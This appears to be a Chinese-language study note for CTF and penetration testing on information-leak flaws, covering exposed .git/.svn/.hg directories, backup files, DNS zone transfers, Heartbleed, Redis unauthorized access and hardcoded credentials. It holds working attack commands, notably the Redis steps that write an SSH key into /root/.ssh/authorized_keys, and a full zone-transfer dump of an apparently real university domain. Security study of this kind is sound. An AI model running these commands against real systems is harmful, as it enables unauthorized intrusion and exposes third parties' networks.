本文主要整理信息泄露引起的安全漏洞。
通过信息泄露寻找漏洞/源码是大多CTF比赛中的第一步。
信息泄露涉及源码泄露、配置不当、堆栈错误等。
Web源码泄露
.hg源码泄露
hg(mercurial)分布式版本控制所引起的源码泄露。
开发者执行命令hg init
会在网站根目录下生成.hg文件www.example.com/.hg/
使用工具dvcs-ripper
rip-hg.pl -v -u http://www.example.com/.hg/
.git源码泄露
在运行git init初始化代码库的时候,会在当前目录下面产生一个.git的隐藏文件,用来记录代码的变更记录等等。在发布代码的时候,把.git这个目录没有删除,直接发布了。使用这个文件,可以用来恢复源代码。
e.g. http://www.am0s.com/.git/config
使用工具:
GitHack
GitHack.py http://www.am0s.com/.git/
dvcs-ripper
rip-git.pl -v -u http://www.am0s.com/.git/
.DS_Store源码泄露
在发布代码时未删除文件夹中隐藏的.DS_store,被发现后,获取了敏感的文件名等信息。
漏洞利用: http://www.am0s.com/.ds_store
注意路径检查
使用工具:
dsstoreexp
python ds_store_exp.py http://www.am0s.com/.DS_Store
网站备份压缩文件
在网站的使用过程中,往往需要对网站中的文件进行修改、升级。此时就需要对网站整站或者其中某一页面进行备份。当备份文件或者修改过程中的缓存文件因为各种原因而被留在网站web目录下,而该目录又没有设置访问权限时,便有可能导致备份文件或者编辑器的缓存文件被下载,导致敏感信息泄露,给服务器的安全埋下隐患。
该漏洞的成因主要有以下两种:
服务器管理员错误地将网站或者网页的备份文件放置到服务器web目录下。
编辑器在使用过程中自动保存的备份文件或者临时文件因为各种原因没有被删除而保存在web目录下。
该漏洞往往会导致服务器整站源代码或者部分页面的源代码被下载,利用。源代码中所包含的各类敏感信息,如服务器数据库连接信息,服务器配置信息等
例如:.rar,.zip,.7z,.tar.gz,.bak,.swp,.txt,.html
使用工具:
awvs
御剑后台扫描工具
.swp
是vim的源码泄露
/.index.php.swp
/index.php~
//若无法直接打开 可使用下面命令
vim -r index.php
SVN导致文件泄露
SVN开源源代码版本控制,SVN采用服务端-客户端结构。
服务端:管理所有受控制数据的仓库。
客户端:管理受控制数据的一部分在本地的映射。
两端之间通过仓库存取层的多条通道进行进行访问,通道支持不同网络协议如HTTPS SSH等。
例如http://www.am0s.com/admin/scripts/fckeditor.266/editor/.svn/entries
使用工具:
dvcs-ripper
rip-svn.pl -v -u http://www.am0s.com/.svn/
Seay-Svn
DNS域传送
DNS常用记录:
A记录 IP地址记录,记录一个域名对应的IP地址
AAAA记录 IPv6地址记录,记录一个域名对应的IPv6地址
CNAME记录 别名记录,记录一个主机的别名
MX记录 电子邮件交换记录,记录一个邮件域名对应的IP地址,比如my[at]lijiejie.com 后面的部分lijiejie.com,邮件服务器对应的IP地址
NS记录 域名服务器记录 ,记录该域名由哪台域名服务器解析
PTR记录 反向记录,也即从IP地址到域名的一条记录
TXT记录 记录域名的相关文本信息
SOA记录 start of anthorization 开始授权,是一种比较难以理解的记录值,一般二级域名才会有
DNS服务器分为:主服务器、备份服务器和缓存服务器
DNS域传送:后备服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。
漏洞产生原因:DNS服务器配置不当,可能导致匿名用户获取某个域的所有记录。造成整个网络的拓扑结构泄露给潜在的攻击者。
设置方式:options配置域和zone配置域;zone的优先级比options高
options{
listen-on {1.1.1.1};
listen-on-v6 {any};
directory "/bind";
pid-file "/bind/run/pid";
dump-file "/bind/data/named_dump.db";
statistics-file "/bind/data/named.stats";
allow-transfer {any;};
allow-transfer {any;};
};
zone "wooyun.org"{
type master;
file "/bind/etc/wooyun.org.conf";
allow-transfer {any;};
};
域传送的关键配置项:
allow-transfer{ipaddress;}; 通过ip限制可进行域传送的服务器
allow_transfer{key transfer;}; 通过key限制可进行域传送的服务器
如果直接使用默认配置文件进行配置(不添加allow-transfer项),就会存在dns域传送漏洞。
以下内容来源:https://www.jianshu.com/p/d2af08e6f8fb
使用nslookup命令
- 输入nslookup进入shell
- 输入server 设置需要查询的DNS服务器
- ls 列出某个域的所有域名
C:\Users\lj>nslookup
默认服务器: UnKnown
Address: 211.82.100.1
> server dns1.thnu.edu.cn
默认服务器: dns1.thnu.edu.cn
Address: 125.223.168.5
> ls thnu.edu.cn
[dns1.thnu.edu.cn]
thnu.edu.cn. NS server = dns1.thnu.edu.cn
admin A 172.16.200.11
admissions A 222.160.127.36
alumni A 222.160.127.36
bwc A 222.160.127.36
cxbd A 222.160.127.36
cxzx A 222.160.127.36
ddh A 222.160.127.38
DNS1 A 125.223.168.5
dwb A 222.160.127.36
ggl A 222.160.127.36
gjjl A 222.160.127.36
gjjy A 222.160.127.36
gs A 222.160.127.36
hqc A 222.160.127.36
hxxy A 222.160.127.36
jcc A 222.160.127.36
jcjy A 222.160.127.36
jjc A 222.160.127.36
jjfz A 222.160.127.36
jjw A 222.160.127.36
jky A 222.160.127.36
jsjxy A 222.160.127.36
jwc A 222.160.127.36
jwgl A 111.26.184.4
jxjyxy A 222.160.127.36
jy A 47.89.44.34
jyw A 222.160.127.36
jyx A 222.160.127.36
kyc A 222.160.127.36
kyys A 222.160.127.36
kzfxt A 222.160.127.36
lib A 222.160.127.36
ltx A 222.160.127.36
lxyz A 222.160.127.36
mail A 222.160.127.37
msx A 222.160.127.36
msxy A 222.160.127.36
mzmjms A 222.160.127.36
news A 111.26.184.8
nic A 222.160.127.36
old A 222.160.124.253
pgdata A 222.160.127.36
qzlx A 222.160.127.35
res A 222.160.124.242
rsc A 222.160.127.36
sasc A 222.160.127.36
sdxy A 222.160.127.36
shpg A 222.160.127.36
sjc A 222.160.127.36
sky A 222.160.127.36
skyexam A 222.160.127.36
swx A 222.160.127.36
sxxy A 222.160.127.36
szb A 222.160.127.36
thsywl A 222.160.127.36
tqms A 222.160.127.36
tw A 222.160.127.36
tyxy A 222.160.127.36
tzb A 222.160.127.36
web A 222.160.127.36
www A 222.160.127.35
wxy A 222.160.127.36
wyxy A 222.160.127.36
xb A 222.160.127.36
xcb A 222.160.127.36
xgh A 222.160.127.36
xsc A 222.160.127.36
xssx A 222.160.127.36
xtw A 222.160.127.36
xxgk A 222.160.127.36
yb A 222.160.127.36
yfzx A 222.160.127.35
yyjs A 222.160.127.36
yywz A 222.160.127.36
yyxy A 222.160.127.36
zcc A 222.160.127.36
zf A 222.160.127.36
zgs A 222.160.127.36
zwkfzx A 222.160.127.36
zysp A 222.160.127.36
zzb A 222.160.127.36
使用nmap扫描DNS域
nmap –script dns-zone-transfer表示加载nmap文件夹下的脚本文件dns-zone-transfer.nse,扩展名.nse可省略
–script-args dns-zone-transfer.domain=zonetransfer.me向脚本传递参数,设置列出记录的域是nwpu.edu.cn
-p 53设置扫描53端口
-Pn:设置通过Ping发现主机是否存活
nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=thnu.edu.cn -p 53 -Pn dns1.thnu.edu.cn
Starting Nmap 7.60 ( https://nmap.org ) at 2017-11-04 14:24 CST
Nmap scan report for dns1.thnu.edu.cn (125.223.168.5)
Host is up (0.031s latency).
PORT STATE SERVICE
53/tcp open domain
| dns-zone-transfer:
| thnu.edu.cn. SOA dns1.thnu.edu.cn. root.thnu.edu.cn.
| thnu.edu.cn. NS dns1.thnu.edu.cn.
| thnu.edu.cn. MX 0 mail.thnu.edu.cn.
| admin.thnu.edu.cn. A 172.16.200.11
| admissions.thnu.edu.cn. A 222.160.127.36
| alumni.thnu.edu.cn. A 222.160.127.36
| bwc.thnu.edu.cn. A 222.160.127.36
| cxbd.thnu.edu.cn. A 222.160.127.36
| cxzx.thnu.edu.cn. A 222.160.127.36
| ddh.thnu.edu.cn. A 222.160.127.38
| DNS1.thnu.edu.cn. A 125.223.168.5
| dwb.thnu.edu.cn. A 222.160.127.36
| ggl.thnu.edu.cn. A 222.160.127.36
| gjjl.thnu.edu.cn. A 222.160.127.36
| gjjy.thnu.edu.cn. A 222.160.127.36
| gs.thnu.edu.cn. A 222.160.127.36
| hqc.thnu.edu.cn. A 222.160.127.36
| hxxy.thnu.edu.cn. A 222.160.127.36
| jcc.thnu.edu.cn. A 222.160.127.36
| jcjy.thnu.edu.cn. A 222.160.127.36
| jjc.thnu.edu.cn. A 222.160.127.36
| jjfz.thnu.edu.cn. A 222.160.127.36
| jjw.thnu.edu.cn. A 222.160.127.36
| jky.thnu.edu.cn. A 222.160.127.36
| jsjxy.thnu.edu.cn. A 222.160.127.36
| jwc.thnu.edu.cn. A 222.160.127.36
| jwgl.thnu.edu.cn. A 111.26.184.4
| jxjyxy.thnu.edu.cn. A 222.160.127.36
| jy.thnu.edu.cn. A 47.89.44.34
| jyw.thnu.edu.cn. A 222.160.127.36
| jyx.thnu.edu.cn. A 222.160.127.36
| kyc.thnu.edu.cn. A 222.160.127.36
| kyys.thnu.edu.cn. A 222.160.127.36
| kzfxt.thnu.edu.cn. A 222.160.127.36
| lib.thnu.edu.cn. A 222.160.127.36
| ltx.thnu.edu.cn. A 222.160.127.36
| lxyz.thnu.edu.cn. A 222.160.127.36
| mail.thnu.edu.cn. A 222.160.127.37
| msx.thnu.edu.cn. A 222.160.127.36
| msxy.thnu.edu.cn. A 222.160.127.36
| mzmjms.thnu.edu.cn. A 222.160.127.36
| news.thnu.edu.cn. A 111.26.184.8
| nic.thnu.edu.cn. A 222.160.127.36
| old.thnu.edu.cn. A 222.160.124.253
| pgdata.thnu.edu.cn. A 222.160.127.36
| qzlx.thnu.edu.cn. A 222.160.127.35
| res.thnu.edu.cn. A 222.160.124.242
| rsc.thnu.edu.cn. A 222.160.127.36
| sasc.thnu.edu.cn. A 222.160.127.36
| sdxy.thnu.edu.cn. A 222.160.127.36
| shpg.thnu.edu.cn. A 222.160.127.36
| sjc.thnu.edu.cn. A 222.160.127.36
| sky.thnu.edu.cn. A 222.160.127.36
| skyexam.thnu.edu.cn. A 222.160.127.36
| swx.thnu.edu.cn. A 222.160.127.36
| sxxy.thnu.edu.cn. A 222.160.127.36
| szb.thnu.edu.cn. A 222.160.127.36
| thsywl.thnu.edu.cn. A 222.160.127.36
| tqms.thnu.edu.cn. A 222.160.127.36
| tw.thnu.edu.cn. A 222.160.127.36
| tyxy.thnu.edu.cn. A 222.160.127.36
| tzb.thnu.edu.cn. A 222.160.127.36
| web.thnu.edu.cn. A 222.160.127.36
| www.thnu.edu.cn. A 222.160.127.35
| wxy.thnu.edu.cn. A 222.160.127.36
| wyxy.thnu.edu.cn. A 222.160.127.36
| xb.thnu.edu.cn. A 222.160.127.36
| xcb.thnu.edu.cn. A 222.160.127.36
| xgh.thnu.edu.cn. A 222.160.127.36
| xsc.thnu.edu.cn. A 222.160.127.36
| xssx.thnu.edu.cn. A 222.160.127.36
| xtw.thnu.edu.cn. A 222.160.127.36
| xxgk.thnu.edu.cn. A 222.160.127.36
| yb.thnu.edu.cn. A 222.160.127.36
| yfzx.thnu.edu.cn. A 222.160.127.35
| yyjs.thnu.edu.cn. A 222.160.127.36
| yywz.thnu.edu.cn. A 222.160.127.36
| yyxy.thnu.edu.cn. A 222.160.127.36
| zcc.thnu.edu.cn. A 222.160.127.36
| zf.thnu.edu.cn. A 222.160.127.36
| zgs.thnu.edu.cn. A 222.160.127.36
| zwkfzx.thnu.edu.cn. A 222.160.127.36
| zysp.thnu.edu.cn. A 222.160.127.36
| zzb.thnu.edu.cn. A 222.160.127.36
|_thnu.edu.cn. SOA dns1.thnu.edu.cn. root.thnu.edu.cn.
Nmap done: 1 IP address (1 host up) scanned in 4.79 seconds
使用dig命令检测DNS域传送
Dig是一个在类Unix命令行模式下查询DNS包括NS记录,A记录,MX记录等相关信息的工具。
欺骗dns服务器发送一个axfr请求过去, 如果该dns服务器上存在该漏洞,就会返回所有的解析记录值。
首先找到解析域名的DNS服务器,我们可以发送一个dns请求
dig thnu.edu.cn ns
;; ANSWER SECTION:
thnu.edu.cn. 2185 IN NS DNS1.thnu.edu.cn.
然后向该域名发送axfr请求
❰root❙~❱✔≻ dig axfr @dns1.thnu.edu.cn thnu.edu.cn
; <<>> DiG 9.10.3-P4-Debian <<>> axfr @dns1.thnu.edu.cn thnu.edu.cn
; (1 server found)
;; global options: +cmd
thnu.edu.cn. 3600 IN SOA dns1.thnu.edu.cn. root.thnu.edu.cn. 2017102704 30 30 360 3600
thnu.edu.cn. 3600 IN NS dns1.thnu.edu.cn.
thnu.edu.cn. 3600 IN MX 0 mail.thnu.edu.cn.
admin.thnu.edu.cn. 3600 IN A 172.16.200.11
admissions.thnu.edu.cn. 3600 IN A 222.160.127.36
alumni.thnu.edu.cn. 3600 IN A 222.160.127.36
bwc.thnu.edu.cn. 3600 IN A 222.160.127.36
cxbd.thnu.edu.cn. 3600 IN A 222.160.127.36
cxzx.thnu.edu.cn. 3600 IN A 222.160.127.36
ddh.thnu.edu.cn. 3600 IN A 222.160.127.38
DNS1.thnu.edu.cn. 3600 IN A 125.223.168.5
dwb.thnu.edu.cn. 3600 IN A 222.160.127.36
ggl.thnu.edu.cn. 3600 IN A 222.160.127.36
gjjl.thnu.edu.cn. 3600 IN A 222.160.127.36
gjjy.thnu.edu.cn. 3600 IN A 222.160.127.36
gs.thnu.edu.cn. 3600 IN A 222.160.127.36
hqc.thnu.edu.cn. 3600 IN A 222.160.127.36
hxxy.thnu.edu.cn. 3600 IN A 222.160.127.36
jcc.thnu.edu.cn. 3600 IN A 222.160.127.36
jcjy.thnu.edu.cn. 3600 IN A 222.160.127.36
jjc.thnu.edu.cn. 3600 IN A 222.160.127.36
jjfz.thnu.edu.cn. 3600 IN A 222.160.127.36
jjw.thnu.edu.cn. 3600 IN A 222.160.127.36
jky.thnu.edu.cn. 3600 IN A 222.160.127.36
jsjxy.thnu.edu.cn. 3600 IN A 222.160.127.36
jwc.thnu.edu.cn. 3600 IN A 222.160.127.36
jwgl.thnu.edu.cn. 3600 IN A 111.26.184.4
jxjyxy.thnu.edu.cn. 3600 IN A 222.160.127.36
jy.thnu.edu.cn. 3600 IN A 47.89.44.34
jyw.thnu.edu.cn. 3600 IN A 222.160.127.36
jyx.thnu.edu.cn. 3600 IN A 222.160.127.36
kyc.thnu.edu.cn. 3600 IN A 222.160.127.36
kyys.thnu.edu.cn. 3600 IN A 222.160.127.36
kzfxt.thnu.edu.cn. 3600 IN A 222.160.127.36
lib.thnu.edu.cn. 3600 IN A 222.160.127.36
ltx.thnu.edu.cn. 3600 IN A 222.160.127.36
lxyz.thnu.edu.cn. 3600 IN A 222.160.127.36
mail.thnu.edu.cn. 3600 IN A 222.160.127.37
msx.thnu.edu.cn. 3600 IN A 222.160.127.36
msxy.thnu.edu.cn. 3600 IN A 222.160.127.36
mzmjms.thnu.edu.cn. 3600 IN A 222.160.127.36
news.thnu.edu.cn. 3600 IN A 111.26.184.8
nic.thnu.edu.cn. 3600 IN A 222.160.127.36
old.thnu.edu.cn. 3600 IN A 222.160.124.253
pgdata.thnu.edu.cn. 3600 IN A 222.160.127.36
qzlx.thnu.edu.cn. 3600 IN A 222.160.127.35
res.thnu.edu.cn. 3600 IN A 222.160.124.242
rsc.thnu.edu.cn. 3600 IN A 222.160.127.36
sasc.thnu.edu.cn. 3600 IN A 222.160.127.36
sdxy.thnu.edu.cn. 3600 IN A 222.160.127.36
shpg.thnu.edu.cn. 3600 IN A 222.160.127.36
sjc.thnu.edu.cn. 3600 IN A 222.160.127.36
sky.thnu.edu.cn. 3600 IN A 222.160.127.36
skyexam.thnu.edu.cn. 3600 IN A 222.160.127.36
swx.thnu.edu.cn. 3600 IN A 222.160.127.36
sxxy.thnu.edu.cn. 3600 IN A 222.160.127.36
szb.thnu.edu.cn. 3600 IN A 222.160.127.36
thsywl.thnu.edu.cn. 3600 IN A 222.160.127.36
tqms.thnu.edu.cn. 3600 IN A 222.160.127.36
tw.thnu.edu.cn. 3600 IN A 222.160.127.36
tyxy.thnu.edu.cn. 3600 IN A 222.160.127.36
tzb.thnu.edu.cn. 3600 IN A 222.160.127.36
web.thnu.edu.cn. 3600 IN A 222.160.127.36
www.thnu.edu.cn. 3600 IN A 222.160.127.35
wxy.thnu.edu.cn. 3600 IN A 222.160.127.36
wyxy.thnu.edu.cn. 3600 IN A 222.160.127.36
xb.thnu.edu.cn. 3600 IN A 222.160.127.36
xcb.thnu.edu.cn. 3600 IN A 222.160.127.36
xgh.thnu.edu.cn. 3600 IN A 222.160.127.36
xsc.thnu.edu.cn. 3600 IN A 222.160.127.36
xssx.thnu.edu.cn. 3600 IN A 222.160.127.36
xtw.thnu.edu.cn. 3600 IN A 222.160.127.36
xxgk.thnu.edu.cn. 3600 IN A 222.160.127.36
yb.thnu.edu.cn. 3600 IN A 222.160.127.36
yfzx.thnu.edu.cn. 3600 IN A 222.160.127.35
yyjs.thnu.edu.cn. 3600 IN A 222.160.127.36
yywz.thnu.edu.cn. 3600 IN A 222.160.127.36
yyxy.thnu.edu.cn. 3600 IN A 222.160.127.36
zcc.thnu.edu.cn. 3600 IN A 222.160.127.36
zf.thnu.edu.cn. 3600 IN A 222.160.127.36
zgs.thnu.edu.cn. 3600 IN A 222.160.127.36
zwkfzx.thnu.edu.cn. 3600 IN A 222.160.127.36
zysp.thnu.edu.cn. 3600 IN A 222.160.127.36
zzb.thnu.edu.cn. 3600 IN A 222.160.127.36
thnu.edu.cn. 3600 IN SOA dns1.thnu.edu.cn. root.thnu.edu.cn. 2017102704 30 30 360 3600
;; Query time: 43 msec
;; SERVER: 125.223.168.5#53(125.223.168.5)
;; WHEN: Sat Nov 04 14:12:57 CST 2017
;; XFR size: 85 records (messages 1, bytes 1819)
HeartBleed
心脏出血漏洞(CVE-2014-0160)
产生原因:由于未能在memcpy()调用受害用户输入的内容作为长度参数之前正确进行边界检查。攻击者可以追踪OpenSSl所分配的64KB内存,将超出必要范围的字节信息复制到缓存当中,再返回缓存内容,这样一来,受害者的内存内容就会每次泄露64KB.
从堆栈错误泄露到RCE
故意修改路径或方法使页面报错,便可以获取到堆栈错误信息。通过报错信息中的函数关键字等,可判断Web应用框架
堆栈错误信息由try{….}catche(e){e.printstack;} 打印出
如上面的图片 报错信息中含有xwork关键字,可知应用框架为struts2
已知应用框架可用此框架的经典源程代码执行漏洞继续此后的步骤。
为授权访问漏洞
主要在应用层服务,引起原因是服务配置不当。
目前主要存在未授权访问漏洞的有如下:
NFS服务,Samba服务,LDAP,Rsync,FTP,GitLab,Jenkins,MongoDB,Redis,ZooKeeper,ElasticSearch,Memcache,CouchDB,Docker,Solr,Hadoop,Dubbo
FTP匿名访问漏洞
FTP匿名登录是指开启了FTP的用户设置了匿名登录功能。
使用用户名anonymous,密码为任意密码 即可登录。
Redis未授权访问漏洞
Redis是一个开源的使用ANSIC语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的APl。
Redis 默认情况下,会绑定在0.0.0.0:6379,这样将会将Redis 服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在
可以访问目标服务器的情况下未授权访问Redis 以及读取Redis的数据。攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功在Redis服务器上写入公钥,进而可以使用对应私钥直接登录目标服务器。
Redis基本命令参考
CONFIG SET
可以动态地调整Redis 服务器的配置(configuration)而无须重启
CONFIG GET
用于取得运行中的Redis 服务器的配置参数(configurationparameters)
步骤如下:
本地生成公钥私钥
ssh-keygen-t rsa
公钥写入foo.txt文件
(echo-e”\n\n”;cat id_rsa.pub;echo-e”\n\n”)>foo.txt
连接Redis写入文件
cat foo.txt | redis-cli-h 192.168.1.11-x set crackit
redis-cli -h 192.168.1.11
192.168.1.11:6379>config set dir /root/.ssh/
192.168.1.11:6379>config get dir
1)”dir”
2)”/root/.ssh”
192.168.1.11:6379>config set dbfilename”authorized_keys”
192.168.1.11:6379>save
私钥免密登录
ssh-i id_rsa root@192.168.1.11
弱/空口令
硬编码旁路凭证漏洞
通过硬编码认证字符,绕过系统中复杂的认证逻辑,直接获取权限
- 海康威视某个版本,用户名密码为
anonymous \177\177177177\177177
通过user:pass形式base64encode,然后在login.asp新建name为userinfo80的cookie字段,最后直接访问main.asp - RSA Conference APP Hard Coded
Github Leaks
Github上泄露相关内容,涉及如下
Hardcode Vulnerability
ssh password
mysaql password
mail password
resume
WXApi registerApp
使用开源工具gitleak/GSIL搜索泄露信息
文件句柄泄露
严格意义上不算信息泄露。
在编码中打开了I/O端口,但操作完之后并没有关闭;利用该问题可以对服务器进行远程拒绝服务攻击。
漏洞代码:
Properties prop = new Properties();
java.io.InputStream in = getClass().getResourceAsStream("/uploadfileFomat.properties");
try
{
prop.load(in);
}
catch (IOException e1)
{
System.out.println("获取允许文件类型出错");
e1.printStackTrace();
}
String fomat = prop.getProperty("uploadfileFomat");
修复在源代码基础上,加入句柄关闭代码
Properties prop = new Properties();
java.io.InputStream in = getClass().getResourceAsStream("/uploadfileFomat.properties");
try
{
prop.load(in);
}
catch (IOException e1)
{
System.out.println("获取允许文件类型出错");
e1.printStackTrace();
}finally{
if(in!=null){
try{
in.close();
}
catch(Exception e1){
e1.printStackTrace();
}
}
}
String fomat = prop.getProperty("uploadfileFomat");